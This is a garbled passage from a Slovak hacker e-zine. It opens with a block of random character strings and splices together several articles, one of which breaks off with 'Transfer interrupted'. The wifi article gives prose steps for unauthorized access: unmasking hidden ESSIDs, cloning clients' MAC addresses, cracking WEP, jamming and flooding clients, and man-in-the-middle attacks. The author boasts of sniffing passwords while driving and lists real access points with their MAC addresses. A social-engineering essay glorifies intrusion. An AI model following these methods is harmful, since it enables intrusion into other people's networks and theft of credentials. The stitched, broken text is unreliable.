%H2=3GGF2R%F,%K25EDML7Y%@,%YSP6~64$AMM,+2FN$MNE99R#,+K@D9EY69
+DF,+NNVC+Y9+4Q4,2M47#QKTX@@L,2R!ZEG~5+GY6,2~QT6HE@5H!W,3!GH59A
AGK=$,3$#EKFK2H~6K,3FD6J5+WD$G~,3HN%#TK9#FN8,4#D~KATW^49F,4#MHQQ
Y~7^5A,42@KM3WJTA$#,45UQAT~R4B$^,49B9PRQ!F#Q+,4BET5@4=NGP%,4F8K%
M+EWB^7,5$5!MEP8QB~T,5$GF6!+ZHBJ3,5B=H4Q%E$8NP,6+G~RRLD56+H,6=@GG
DSA=S36,6E6MC+F%9Y$K,6J@G@BAS4#7C,7BLG~=T76R%T,9Q7#=YTFE@2Q,9RM
3T~A^G8R=,9ZL%LD^TY89^,=5FAHF97Y~M+,=9SH83G!M#GW,=MG7QV=%AK39,@
+YP9N9U7DT#,@3KFQ@MU!T68,@4LT3!EHH=P5,@9@NH!A4K3WG,@GM8KH^4B4
@K,@NQSQ==354QQ,@RFTY^%4YM97,@S6G#K=8MBK4,@VZK!$9KXB38,^43T~2T
@NRTA,^7XQ$$9Y2BFM,A4+F@+XKK63K,A5H~=NHF29#P,A6F+KV$!24BN,A=E4D3
,~5CKM6^TR!3K,~6KHJ77D^KG$,~A#@7NA8KB7T,~AAHG2B94%J^,~FH6E8B5J~H=,
~R%DK=68Q2GR, ...



Vsetky casy su pocitane na 95 znakov nastavenia rozsahu BF
Pribalil by som aj niektore src ale neviem ci je to
vhodne, kazdy si moze pokojne stiahnut openSSL, akurat to nebude mat optimalizovane v asm.



Pouzite skratky


CSP (Cryptographic Service Provider)

RC4 (prudova sifra)

SHA (Secure Hash Algorithm)

RSA (Rivest, Shamir, Adleman).

Microsoft Base Cryptographic Provider

Microsoft Base DSS and Diffie-Hellman Cryptographic Provider

Microsoft DH SChannel Cryptographic Provider

Microsoft Enhanced Cryptographic Provider

Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider

Microsoft RSA SChannel Cryptographic Provider

Microsoft Strong Cryptographic Provider



O.M.D.G.


navrat na obsah

co ty na to ? board






wifi jazda po blave II



[/]#



vzhladom na relativne velky ohlas na wifi tematiku sa pokusim popisat kusok praktickejsie o co vlastne ide. ti co boli
na sesne to mozu brat ako rekapitulaciu toho co maniac hovoril ;)



[/boot]#



v prvom rade nam institucia ktora ma pod kontrolou pasma v eteri prideli vyhradene pasmo (tzv. chranene pasmo), alebo
mozme vyuzivat preddefinovane volne pasmo. samozrejme zariadenia vyuzivajuce rozne pasma niesu navzajom kompatibilne a
v chranenom pasme su kompatibilne zvacsa len vyrobky jedneho vyrobcu. co sa tyka volneho pasma, tu je situacia lepsia,
boli vytvorene rozne 802.11 (wireless lan) standarty, ktore pokial splnaju zariadenia na oboch stranach tak by MALI
byt kompatibilne. pouzivaju ethernetovy protokol s CSMA/CA (carier sense medium access/collision avoidance) na pristup
k mediu (v nasom pripade mierne aromatizovanemu vzduchu).



mala "tabulka" uvadzajuca standart,maximalnu rychlost, frekvenciu a modulaciu roznych 802.11 standartov:



802.11 max 1Mbps, 2.4GHz, phase-shift keying (PSK) modulacia
802.11a max 54Mbps, 5-6GHz, orthogonal frequency-division multiplexing (OFDM), vyuzitie v bezdratovych ATM systemoch
802.11b max 11Mbps, 2.4GHz, complementary code keying (CCK) modulacia
802.11g max 54Mbps, 2.4GHz, complementary code keying (CCK) modulacia, kompatibilna s 802.11b


tentokrat sa budeme zaoberat prave pasmom 2.4GHz a to standartom 802.11b (wifi).
toto pasmo ma sirku 83,5MHz (2.4000Ghz po 2.4835GHz).

v pripade zariadeni, ktore vyuzivaju FHSSS (frequency hopping spread spectrum
[breezy]) je k dispozicii 79 kanalov po 1MHz krokoch s 1 az 2 Mbps na kanal). U DSSS
(Direct spread spectrum) je k dispozicii X kanalov sirokych 22MHz po 5Mhz
krokoch. pocet tychto kanalov (X) je zavisly od regulacii v danej krajine:

Kanada,USA: 11 kanalov [ 01 2.412GHz , 11 2.462 GHz]

Europa: 13 kanalov [01 2.412GHz , 13 2.472 GHz]

Francuzsko: 4 kanaly

Japonsko: 14 kanalov [01 2.412 GHz , 14 2.484 GHz]

maximalny pocet kanalov bez ich vzajomneho prekrytia (tym padom degradacie
kvality signalu je 3! (napr 1,6,11). pri 802.11a (OFDM kodovanie) existuje "az"
8 kanalov, kore sa neprekryvaju.



takto napriklad vyzera ked sa pouziva kanal c. 7 - zaroven sa vysiela aj na
frekvenciach okupovanych kanalmi 5,6 a 8,9



sila
^
| 4 5 6 7 8 9 10
| X
| XXXXXXXXX
| XXXXXXXXXXXXXXXXX
| XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
+---------------+-------------------------------+---------> kanal
| |
<------------------------------->
- sirka pasma zabrateho siedmim kanalom


ak by niekoho zaujimala realna priepustnost 802.11b v 11Mbps rezime, tak je to
maximalne 5Mbps. zysok sa strati pri signalizacii, hlavickach atd.. aby som
nezabudol, tato technologia je half-duplex.



[/dev]#



bezne karty maju obycajne vystupny vykon 30-40mw (13-16 dbm) a citlivost prijimaca -80dbm az -90dbm.
vykonne karty maju z pravidla vykon 100-200mw (20-23 dbm) a citlivost -90dbm az -96dbm.



maximalny vyziareny vykon nemoze presiahnut predpisanu uroven. do uvahy treba brat zisk anteny, ale aj utlm na
kabli/konektoroch/pigtaili od vysielaca k antene. pri rieseni siete je podla okolnosti nutne zvolit spravny typ anten
(vsesmerova, sektorova, smerova, alebo mobilna..) a ich polarizaciu tak, aby bol spoj odolny voci ruseniu v co
najdlhsom casovom horizonte..



wifi sa da behat bud v rezime AP -> klient [Infrastructure -> Managed] alebo v rezime Ad-Hoc [Peer2Peer]. koli
efektivnosti sa vyuziva moznost prepojeni Point-MultiPoint, cez menej smerove anteny (sektorove, vsesmerove [obas sa
podari chytit aj viacej klientov na smerovu antentu, ak su v miernom 'zakryte']). no a potom samozrejme spojenia
bod-bod, ktore su podstatne spolahlivejsie (odolnejsie voci sumu, utokom na siet atd).
ako sa dozvieme dalej,
rezimov do ktorych mozme prepnut wifi kartu je trocha viac :)



momentalne najpouzivanejsie chipsety su orinoco (lucent) a prismII. kedze mam orinoco silver pcmcia kartu tak low-level
zalezitosti budu prave o nej. prismII ma sice bohatsie moznosti nastavovania (pomocou HostAP sa vie tvarit ako APcko a
ine prijemne featury), ale nedostala sa mi do ruk takze o nej sa rozpisovat nebudem. Druha cast predchadzajuceho
suvetia plati aj o FHSS Breezoch.



co sa tyka APcok, tak u nas najviac ficia Lucent RORy, Z-Comy, D-Linky, Ciso-Aironety a samozrejme mnohe dalsie
tajwanske krabicky :) aby som nezabudol, sikovni a podnikavi pani poriesili aj u nas rozne wave-boxy, co je x86
kompatibilne PC v priemyselnej krabici s jednou/viacerymi ethernetovymi a wirelesovymi kratami. tie co som videl bezali
na linuxoch a samozrejme kartach s prismII chipsetom, kedze sa tvaria aj ako APcko. koli spolahlivosti zvyknu mat
miesto HDD flashdisk, v ktorom je akurat jadro, startovacie skripty a zopar uzitocnych prikazov (aj ked si viem celkom
v pohode predstavit ze by na tej flashke mohol byt napriklad novy brutalware, az sa dokonci :)) )



[/etc]#



takze mame kanal na ktorom nam bude bezat nasa wirtualna lanka. dalsim parametrom je ESSID [Extended Service Set].
ESSID spaja viacero samostatnych buniek [BSSID - Basic Service Set] do jednej siete. BSSID je v praxi MAC adresa access
pointu. v pripade ze sa jedna o siet, ktora by chcela byt kryptovana a pouziva WEP [Wired Equivalent Privacy] tak
musime mat kluc (40 alebo takzvany 128 bitovy). IP adresu bud dostaneme po pripojeni k wlanke cez DHCP alebo nastavime
taku aku nam nas provider pridelil (netmasku a branu detto).



[/lib]#



v pripade ze mame pokrocili stupen sklerozy nuka sa nam vdaka skvelej implementacii wifi moznost vsetky udaje spominane
v [/etc]# zistit online priamo z divokeho eteru. potrebujeme na to 1 ks funkcny pocitac (najlepsie s OS, cize
Linux/BSD/MacOS) 1 ks wifi karta (v nasom pripade uz spominana orinoco silver) minimalne 1 ks antena a kabel s
pigtailom dosypat podla potreby. po patchnuti driveru k orinocu (aby sme mohli zapnut MONITOR rezim a pripadne si
zmenit MAC adresu) vieme pustit kismet alebo airsnort, ktore zabezpecia, ze uvidime v cloveku zrozumitelnej forme co sa
vlastne prehana okolo nas (v jemne aromatizovanom vzduchu).



v zozname zariadeni najdeme APcko, ktore je oznacene bud ESSIDckom, ktore sme zabudli, alebo nam svoje ESSID nechce
prezradit a vidime len nieco na sposob . V druhom pripade treba pockat az sa nejaky klient reconnectne na to
APcko a ono nam v tom momente, celkom dobrovolne to ESSID prezradi :) [nedockavi mozu spravit DOS na spojenie klient/AP
pomocou otvorenej mikrovlnnej rury, alarmoveho senzoru, dialkoveho ovladania na garaz alebo inych toolov, ktore urcite
vsetci z vas nosia vzdy pri sebe]. samozrejme ale este chyba konfiguracia IP vrstvy, takze bud sa spolahneme na to, co
nam kismet povie o datach ktore v nasej sieti vidi, alebo sa jednoducho pripojime do tej siete a pustime stary dobry
tcpdump. potom uz ostava len skusit nejake volne ip adresy z rozsahu, ktory sme vytusili podla komunikacie, ktoru sme
videli v tcpdumpe. problem by mohol nastat v pripade, ze nase APcko ma filter pre pripojitelnych klientov nastaveny
podla MAC adries. kedze sme stratili papierik od ISP s MAC adresou, ktoru sme si mali nastavit jednoducho pozrieme ake
MAC adresy maju klienti, ktori prave komunikuju s APckom. urcite nikomu z nich nebude vadit, ak si jeho MAC adresu
prepoziciame :-), vsak naco inac by sme patchovali ten orinoco driver, ze. v pripade nudze si mozme skusit nastavit
MAC adresu APcka (jeho BSSID), v pripade starych z-comov by to mohlo aj zabrat.. odporucam prestudovat si IPv4 protokol
a jeho sucast ARP, aby ste sa potom necudovali ked sa to bude spravat "divno". ak by sme mali k dispozicii prismII
chipset, mohli by sme sa zahrat za pomoci HostAPu aj na unoscov, respektive muza v strede :)) ak mate po ruke
paintbollovu pusku, kludne sa zahrajte na prezidenta a teroristov.

co je dobre vediet je to, ze nie kazdy orinoco firmware chape dobre nase ciste umyslys MONITOR rezimom. preto na
sajte kde sa nachadza patch treba pozriet ktore firmwary sa osvedcili. no a nakoniec ak sme zabudli aj wep heslo, treba
byt dostatocne trpezlivy a dufat ze cez AP pofici dostatocne mnozstvo trafficu (ak tam je mrtvo a vieme ipecky ktore su
dosiahnutelne z vonkajsieho netu tak mozme z vonka pustit napriklad flood na nejakeho klienta, ktory je chyteny na nase
AP alebo mo proste posleme nejaky filmik mailom :))) ) ked airsnort resp kismet nachytaju dostatocne mnozstvo
zaWEPovanych packetov, ktore sa koncia bajtom 0xFFh (tzv. weak packets) tak automaticky skusia cracknut heslo.



[/opt]#



ak sa podarilo pripojit, dostali sme pridelenu adresu cez DHCP je to signalizacia toho, ze sme bud v niekoho intranete,
alebo na HOTSPOTe. hotspoty su miesta, kde sa provider rozhodol vybudovat verejne pristupny wifi uzol. hacik je v tom,
ze kamkolvek nabrowsujeme vzdy sa nam objavi stranka daneho providera s tym ze sa mame nejakym sposobom autentifikovat
(aby nam pekne strhol z kreditu za pouzivanie netu). riesi sa to obycajne cez transparent proxying. zalezi od
implementacie a konfiguracie hotspotu (zatial som sa stretol s dvoma implementaciami) ci sa nam podari dostat von bez
autentifikacie. treba sa pohrat s tym, ci sa naozaj vsetko posiela na transparentny proxac (napriklad zvykne byt
povoleny DNS/ICMP traffic do sveta na priamo), ci soft hostspotu neobsahuje nejaky bug (napriklad v php resp javascript
sa obcas zvykne najst medzierka) resp ci nevidime v sieti na ktoru sme pripojeni nejaky stroj, ktory by po "vzdialenom
pripnuti musle" sluzil ako slusna brana do netu.


[/home]#

ako ste si mohli vsimnut zabezpecenie wifi sieti je za dnesnych podmienok velmi komplikovane. buducnost ma asi radius
autentifikacia (tiez podla mac adresy) spojena s IP SEC protokolom. klient bude musiet komunikovat s branou kryptovane
(predtym sa musi brane samozrejme autentifikovat). na kolko to bude pouzielne v praxi (moznosti uz nasadenych
routrov, podpora ipsecu na roznych OS a pod.) ukaze len cas, a ako elan spieva "ale dovtedyyyyy...." :))



biquad



[/tmp]#



ked som bol minule v bratislave, kratkou asi 20 minutovou cestou krizom cez nu s notebookom
polozenym na sedadle spolujazdca bez akejkolvek externej anteny som sniffol 6 POP3 hesiel, 3 HTTP
hesla a par KB irc, icq a pokecovej komunikacie..

-> kryptovat, kryptovat, kryptovat


este uplne zaverom nejake doplnujuce scanny wifi sieti v blave ako pridavok k minulemu cislu..
..udaje zaslal si(at)pieskovisko.sk, poslite aj vy vase scanny !



scany z WB-ciek:
SSID MAC RSSI linkq ch. wep

silvanska 1, smerova antena 24 dBi hlavny lalok v smere juhovychod na petrzalku (terno):
vran2 00:90:4B:08:0B:C0 0 10 1 yes
vran 00:90:4B:0B:5C:A5 0 2 6 yes
zniev 00:90:4B:0B:5B:D0 0 0 10 yes
Eunet STV Omni 00:60:1D:F6:7C:2D 40 57 9 no
imc-mat-ap 00:02:78:E1:D3:B6 0 40 7 no
DOM 00:90:4B:08:0B:86 0 65 11 no
hist:
Eunet Petrzalka East 00:02:2D:09:1B:1B 0 45 1 no
00:40:96:29:7E:69 0 0 1 no
martineg 00:02:78:E1:10:23 0 35 1 no
apricot 00:90:4B:08:0B:AE 0 62 1 no

holicska 20, smerova antena 24 dBi hlavny lalok orientovany juzne:
zniev 00:90:4B:0B:5B:D0 0 0 10 yes
vran2 00:90:4B:08:0B:C0 0 45 1 yes
wli_003 00:60:B3:16:31:FE 0 25 3 no
hist:
apricot 00:90:4B:08:0B:AE 87 85 1 no

budatinska (neviem presne kde ani aka antena a orientacia, nebol som pri montazi:
zniev 00:90:4B:0B:5B:D0 97 67 10 yes
vran2 00:90:4B:08:0B:C0 0 27 1 yes
pol 00:90:4B:80:B6:0D 0 62 2 no
testik 00:90:4B:0B:98:7E 0 25 8 yes
00:90:4B:A0:08:E2 0 0 5 no

strecnianska 5, smerova antena 24 dBi hlavny lalok orientovany v smere na vychod
(dolne hony, slovnaft, antena je umiestnena na balkone a vedlajsie laloky zachytava panel)
Backup34 00:10:E7:F5:54:07 0 60 7 yes
testik 00:90:4B:0B:98:7E 0 12 8 yes
DOM 00:90:4B:08:0B:86 0 42 1 no
zniev 00:90:4B:0B:5B:D0 0 0 10 yes

zitavska, smerova antena 21 dBi hlavny lalok otientovany na sever:
fab30 00:30:4F:1C:2F:D9 27 28 1 no
krikfab30 00:90:4B:08:0C:08 0 70 7 no
krikvran 00:90:4B:08:0C:03 0 40 1 no
hist:
owen1 00:80:C6:E3:1B:04 0 55 3 no
default 00:90:4B:08:0C:41 0 45 3 no



navrat na obsah

co ty na to ? board






seda eminencia



...zivot v hniezde z medenych kablov



Upozornenie: text neobsahuje techniky, ako sa stat rychlo niekym inym, dokonalym. Pravdivost doleuvedenych
informacii je znacne relativna. Autor nezodpoveda za skody vzniknute pocas a po precitani textu.




Nasledujuci pribeh venujem vsetkym lamam a tiez socialnym inzinierom. Socialnym inzinierom, aj ked este nemaju papier,
ak aj nejaky niekedy ziskaju. Ked som bol este prvak na vyske, podarilo sa mi raz na chodbe rozkopnut upratovacke kopku
nazhrnanych smeti. Zarevala na mna: "Ale davajte pozor! Pan inzinier!" a tam niekde sa zacal cely pribeh. Mozno este
skor, ale vtedy som si to tak zretelne neuvedomoval.



Vydrata sachovnica, pomaly sa neda rozoznat, kde su cierne a kde biele policka. Zapasy medzi figurkami prebiehaju
neustale. Pocet utokov rastie. Rovnako ako pavuciny internetu coraz pevnejsie obaluju nasu planetu. Zemske jadro,
plast, kora, medena vrstva (kable:), biosfera, informacna vrstva, atmosfera, ... vesmir...



Clovek, ty zviazana dusa,

radost neuzries ak zburas tu stenu,

tak preco odchadzajuce svetlo vola ta,

tehlicku po tehlicke, pomaly po jednej,...

dufajuc, ze aspon luc zazries.



Nie, ak si este stale myslite, ze medzi mnou a sedou eminenciou existuje urcite prepojenie alebo vztah, mylite sa. Ste
rovnako mimo ako dieta, ktore si mysli, ze moze pouzit kladivo ako stetec alebo hocico rozoberat a nevediet to potom
poskladat. Studnica napadov. Ano, aj tak to mozno nazvat. Pozorny citatel iste v nasledujucom texte objavi
vycerpavajuce mnozstvo napadov, ktore za vhodnych okolnosti, za spravneho pocasia a priaznivych stavov ostatnych
faktorov bude mozne zrealizovat. Tak napriklad uvediem prvy napad. Preco nezacne hysteria udelovat diplom socialneho
inziniera? Staci vymysliet zopar skusok a potom este statnice:) Forma moze byt rozna.



Nekontaktuje hocikoho. Presne vie, kam ma poslat svojho cloveka. Ministra personalnych zalezitosti. Jedna vec je hrat
sa doma cez dial-up a vlastnit hesla celeho miestneho internetoveho pola. Druha vec je zucastnit sa rozsiahlej akcie.
Aj tu existuju dve strany mince. Jeden clovek na vsetko nestaci a preto potrebuje zdatny personal. Co sa tyka pracovnej
sily, mozeme povedat, ze je milion ludi, ktori su ochotni pracovat... Toto vsak nieje nas pripad. Z toho miliona musime
vyextrahovat iba zopar jednotlivcov, ktori su schopni dodrziavat urcite pravidla. Pravidla bezpecnosti v osobnom a aj
tom druhom zivote. Iba clovek, ktory sa zapreda moze dokazat nieco poriadne. Zapredat sa technologii... A technologia,
to je svina. Transformuje sa kazdym dalsim pohybom sekundovej rucicky. Kazdu chvilu sa objavi novy soft, service pack,
diera... vsetko to buble. Mozno povedat, ze zaklad je mat dobrych ludi a na to si dava pozor. Aj on pracuje na zaklade
overenych algoritmov. Nie bezhlavo. Pomaly. Veci radsej aj dvakrat pretestuje, aby si bol isty, ze nerobi chybu. Kazdou
navonok prezentovanou chybou sa dostavame blizsie k nespravnemu koncu. Preto sa testovanie odporuca na vsetkych
frontoch. Tak ako si specnazi najskor otestovali utok v podobnom divadle. Az neskor zopakovali celu akciu naostro.
(podrobnosti: vid drama v moskovskom divadle, 2002)



Do hniezda z medenych kablov sa dostane iba zopar vyvolenych. Hovoria vam, ze su nedostihnutelne daleko. Zevraj admini
nemaju sancu. Zabomysie vojny. Propaganda. Vztahy musia byt vyjasnene. Kazda pochybnost vas moze stat stratu cennych
informacii. Dostanes vsetko, o co si zaziadas. Uspokoji ta to nakoniec? Jasne, ze nie. Tulas sa dalej. O biologickom
hackovani sa tu uz niekedy pisalo. Asi nedosiahnete vsetci rovnake vysledky, ale predstavte si nasledovnu situaciu.
Sedite s nejakou dievcinou pri stole a pijete drink. Porty ste este nestihli zoskenovat, pretoze neviete, aky citlivy
je na masinke IDS (dalej IDS). Aky je jeden z moznych variantov riesenia daneho problemu? Tak skuste toto. Prisunte
svoj pohar k jej poharu. Co sa stane?



Vypustili Kevina! Za ten cas sa zmenilo mnoho veci. Technologie tiez pokrocili. Ale su veci, ktore sa nemenia (#). Je
to rutina. Chlapec, ktory vyzera navonok tak nevinne. Slusne. Ani by vas nenapadlo, ze ak ho pustite k pocitacu, spravi
vam z neho behom par minut odpocuvaci uzol, ktory neviditelne odchyti vsetko dolezite, co kedy napisete. A potom, ked
vas stretne, bude sa vam usmievat do tvare. A vy si poviete, o, aky slusny chlapec, ze sa na mna tak zlato skeri. Nie,
to som si vazne vsimol. Vela ciernych figurok je tak profesionalne zdeformovana, ze uz toho moc nenarozpravaju. Su
zvyknuti pocuvat usami, sledovat ocami a komunikacia navonok prebieha vacsinou behanim prstami po klavesnici. Cierna
figurka pouzije usta akurat tak ked si sosne kofoly. Vsetko je to zahalene ruskom reklamy... Reklama to je predsa jeden
z hlavnych nastrojov, ako odviest pozornost uplne opacnym smerom. Je to jeden zo sposobov. Odlakame biele figurky tak
daleko, aby nepoculi, ked ich masinka volajuc marne o pomoc podlahne lakavym slovam odosielatela prikazov. Pisem to tu
moc poeticky. Ale ja to povazujem za jeden zo sposobov ako povedat tisic veci jednou vetou. Usetrim tak strojovy cas uz
aj tak zaneprazdneneho citatela. Jedna z variacii predstavuje situaciu, ked ma clovek na stroji IDS nakonfigurovany
tak, ze akykolvek pokus o prienik sa hlasi pomocou sms. Zabezpecime, aby smska nikdy neodisla a so strojom si za
urcitych okolnosti mozeme urobit cokolvek, co nas napadne. Technicke prevedenie je rutina. Najdolezitejsie je, ako to
clovek vyuzije. A to uz nema s matematikou nic spolocne. Tvorivost pochadza z inej casti vasej kapustnice. Figurka s
absentujucou tvorivostou je ako traktor, ktory by aj pooral, ale...



Skutocnost, ze Seda eminencia si ta najde, nehovori, aby si zaujal k svetu pasivny postoj. Ak chces raz pracovat v
odeve od Sedej eminencie, musis sa 3krat ucit. A ani to ti nezaruci uspech. Bez praxe si nula. Teoretici patria na
filozoficku fakultu, nehnevaj sa. Ja ho uz asi nedobehnem. Ty mas vsak sancu. Nepatri ani medzi bielych, ani medzi
ciernych. Je sivy, je nad vsetkym. Ci uz biele alebo cierne figurky, vsetci vyuzivaju jeho technologie (nie, vazne,
vsetko je z Taiwanu:). A nieje to ani ten, ktory vam prave zisiel na um.



Hacker riadi informacnu exploziu. Mnohych vobec nezaujima, co sa okolo nas deje. Vytvorime si predstavu o svete a
zijeme si spokojne. Ani vo sne by nas nenapadlo, ze je na nas napojena nejaka pijavica, ktora napriklad pouziva nase
heslo na pripojenie do internetu. Sposobov bezplatneho zdielania technologii a moznosti ako ich zrealizovat je
nespocetne vela. Skuseny hacker vnima aj tie najjemnejsie pohyby vokol soba. Iba tak zostane neviditelny. Veci maju
svoj poriadok. Akonahle tento poriadok zmeni svoje charakteristiky, musime sa pytat. Co sa deje?



Zorganizoval ich a odisiel. Kazdy vedel, aku ma ulohu. Dohodol sa samozrejme aj sposob komunikacie. To by ste sa
cudovali, kolko zdlhavych krokov vyzadovala taka procedura. Kratkodobo neefektivna, ale dlhodobo produktivna. Nie kazdy
sa ovladne az tak, aby dokazal zit podla stanovenych zasad. Myslelo sa na vsetko. Aj na sposob transformacie vztahov v
pripade odchodu clena skupiny. Taketo odchody boli vsak velmi zriedkave. Zaklad spociva vo vybere ludi. Neviem, ale
kompetentni vacsinou na toto pravidlo zabudnu. Zaciatok konca, kto nema pripraveny plan uniku, neprezije. Zivot je
rozdeleny na dve smeny. Abstraktne povedane udrzba a produkcia. Za udrzbu mozno povazovat roznorode ukony spojene s
pripravou zdrojov na ich opatovne pouzitie v produkcii - procese vytvarania. Produkcia prinasa zase zdroje a tie je
potrebne udrziavat. Nekonecny kruh. Kto slape na vyssie obratky ako zvlada, odide zo sceny priskoro. Ak na to dnes
vecer nemas, nevadi. Aj zajtra je den. Kto ti to povie, ked si to neprecitas tuto? Zajtra bude vsetko zmenene, ale to
nevadi. Monitor bude tensi, skoro az priesvitny. Ak neudrzis svoje telo v kondicii, veci stratia zmysel. Tak nesed!
Obcas sa aj pohni:) Vypadni do ulic, zmapuj si situaciu a ziskaj nove napady. Boardy by mohli byt vedene v ramci
filozofickej fakulty.



Zivot v hniezde z medenych kablov si musi clovek zasluzit a castokrat, ked je postaveny pred hotovu vec, odmieta.
Urobite chybu a vase data ... Dokonaly system by nepolozil na kolena nikto. Dokonaly system, to je nieco ako Slnecny
stat. Je hacker dokonaly? Zla konfiguracia alebo chyba v beziacich aplikaciach. Par dni, hodin, minut, sekund a ste
vnutri. Aky ciel si urcite? Jednoduchsie je pracovat masovo. Utocite na vsetky pocitace s urcitou chybou. To mozu robit
amateri. Mozno sa im podari po case ulovit aj velku rybu. Ovladnut konkretny stroj, nuz, narocnejsie. Jeden z
najzlozitejsich druhov hacku je hack osoby, ktora nema vlastny pocitac a na net chodi v skole, v internet caffee a
hocikde inde, nepravidelne. Aj ked by sa nam podarilo na takom stroji spustit "malicious code" (napr.
c:windowscalc.exe), nieje nam to nic platne, pretoze druhykrat bude osoba "O" uz na inom stroji. Aj to dokazete
bezproblemov? A co ovladnut system osoby, ktory v zivote nevidela pocitac? To je hack, ... zalozeny na predpoklade
buducich udalosti. Treba najprv danu osobu urcitym sposobom donutit, aby zacala byt zavisla napr. na mailoch. Dalsie
kroky su uz len rutina:)



Viem o nom vsetko. Aj ked som ho este nestretol. Videli ho asi iba jeho spolupracovnici... A urcite tiez kopa dalsich
ludi, ktory vsak nevedeli, ze je to on. Prejdete okolo neho ako okolo hociakeho ineho cloveka... ak sa vam to podari,
pretoze vacsinou sa presuva vo svojom sportaku. Chodieva sam. Ma tak cas premyslat o svojich buducich projektoch.
Vizionar. Nieco mu pride na um. Premysla cele hodiny pozerajuc do prazdna. Hlada zachytny bod. Pripravi si kazdy detail
a samozrejme viac variantov. Nakoniec pouzije figurky.



Pre hackera je charakteristicke, ze veci skoro vzdy dotiahne az do posledneho kroku k(n). Ak sa aj tebe podarilo
predrat tou horou textu az sem, gratulujem. Nie si o nic mudrejsi, ako ked si zacal citat tento clanok, ale to ani
nebolo jeho cielom. Potesit, uvolnit, odviest pozornost, zrekreovat, ... aspon sa usmej, ty... ja jednoducho nemam rad
zaciatky, neznasam jadro a neviem pisat konce, preto je to vsetko tak...


rikin



navrat na obsah

co ty na to ? board






linux 2.4.x remote exploit



uvod



ehm, tak ceresnicku sme si nechali na zaver. objavit vlastny remote root shell exploit na dnes narozsirenejsi linuxovy
kernel, tak taku pecku sme nezazili minimalne od prielom 9, ale ten sa musel zial stiahnut.. zasvateni vedia preco,
nezasvateni nevedia.. ale co uz, teraz tu mame konecne kod, ktory v rukach praveho kuzelnTransfer
interrupted


0000010100000001000001020061730208639991
maniac
 maniac      30.06.2019 - 19:28:22 (modif: 30.06.2019 - 19:28:51), level: 1, UP   NEW !!CONTENT CHANGED!!


::::::::::. :::::::.. :::.,:::::: ::: ... . :
`;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
`]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
$$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

prielom #18, 27.11.02 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/





obsah







intro



tak a hysterka je naspat v plnej sile. hardware je novy a ambicie ostali tie stare - stat sa komunikacnym
centrom pocitacoveho undergroundu v nasich koncinach. a predsa este cosi viac. myslim si ze na slovensku a v cechach nam chyba
nejaka mienkotvorna identita ktora by bola alternativou k statnemu a firemnemu sektoru. ludia si vytvaraju
nazor na rozne veci suvisace s informacnymi technologiami len na zaklade toho co dostanu naservirovane od
marketingovych masinerii it firiem, pripadne od nasej vlady. neexistuje ziaden znamejsi zdroj informacii
o tychto oblastiach ktory by prezentoval alternativne ci opozicne nazory k tym od
spominanych dvoch sektorov. ked napriklad pise novinar v nemecku clanok o digitalnom podpise tak si okrem
firemnych zdrojov a prislusneho zakona vramci objektivity precita aj nazor computer chaos clubu ci americkeho
electronic frontier foundation. spravit z hysterky nieco na sposob poslednych dvoch spominanych institucii
su azda silne reci, ale minimalne je to smer ktorym sa chcem vydat. ak by totiz u nas chcel novinar pisat clanok
o digitalnom podpise, precita si len clanok v platku typu "infotrendy" (www.etrend.sk) ktory prislusnemu "autorovi"
podstrcilo marketingove oddelenie silnej it firmy (spolu s firemnym trickom s limcekom a firemnym parker perom),
pripadne si svoj nazor vytvori na jednej zo smiesnych "it konferencii" ktore sa v cechach a na slovensku robia x-krat
do roka a ktore su len pasovou prehliadkou firemnych komercnych prezentacii..



centralny zdroj alternativnych nazorov k oblastiam ktore suvsia s kyberpriestorom - to je moja vizia hysterky v buducnosti
ktoru som rozhodnuty budovat. dat dokopy hardware a rozbehnut web bolo to najjednoduchsie (no vlastne ani nie - slova
vdaky za vcelku umornu pracu putuju zyxovi a maniacovi :). co bude tazsie je dat dokopy siroku komunitu ludi so spolocnymi
konickami a nazormi. preto koncim toto intro s co najuprimnejsie myslenou hlasnou vyzvou: ludia ktori vidite veci inak ako
komercny ci vladny sektor a chyba vam komunikacna platforma - ozvite sa mi. nechajte svoj hlas pocut prostrednictvom pevnej
ochrannej bariery hysterky.



pajkus, 22.11.02, ruzinov







medove tyzdne s OpenBSD



pred casom sa v roznych interentovych periodikach objavil odkaz na analyzu
napadnuteho honeypotu s operacnym systemom OpenBSD 3.0 [ href="#paper">1
], ktoreho navrh sa mne nie tak celkom pozdaval a podnietil
ma, aby som si podobnu situaciu nasimuloval sam a uzil si trochu zabavy. tento
clanok popisuje zivotny cyklus projektu a ciastocne je i uvahou na rozne
suvisiace temy.


honeypot?



hned na uvod by sme si mali vysvetlit, co to honeypot vlastne je. ako aj
samotny preklad anglickeho nazvu napoveda, ide o "nadobku s medom", avsak
nadobou je v tomto prenesenom vyzname hostitelsky pocitac, ci uz fyzicky,
virtualny (napr. usermode linux[2]) alebo simulovany (napr.
honeyd[3]) a tym medom je operacny system, ktory je
umyselne ponechany napospas utocnikom a ako pohar s medom laka svojou vonou k
sladkej dobrote, tak ich on snazi prilakat k prieniku do systemu. ak vam to
este stale nedava zmysel, dodam, ze takyto system je potom pozornym okom
sledovany a utoky su podrobne vyhodnocovane. takymto sposobom je mozne
studovat metodiku utocnikov, ziskat nastroje, ktore k prienikom pouzivaju k
dalsej analyze a vyvodit z toho patricne dosledky. najznamejsim projektom,
ktory je zaroven priekopnikom tejto metody, je The Honeynet Project [ href="#honeynet">4]. ak vas tato tematika zaujala, na ich strankach mozete
ziskat mnozstvo relevantnych informacii.


dizajn siete



prave dizajn honeypotu, o ktorom pojednava vyssieuvedena studia, sa mne osobne
nepozdaval. autor sa rozhodol, ze samotny system, ktory bolo mozne napadnut,
umiestni za firewall do lokalneho ip adresneho pasma, cize nebude mozne sa nan
pripojit priamo z internetu a naopak a len presmeroval jeden port, na ktorom
bezi derave sshd (OpenSSH z OpenBSD 3.0) na cielovy stroj a prepusta spojenia
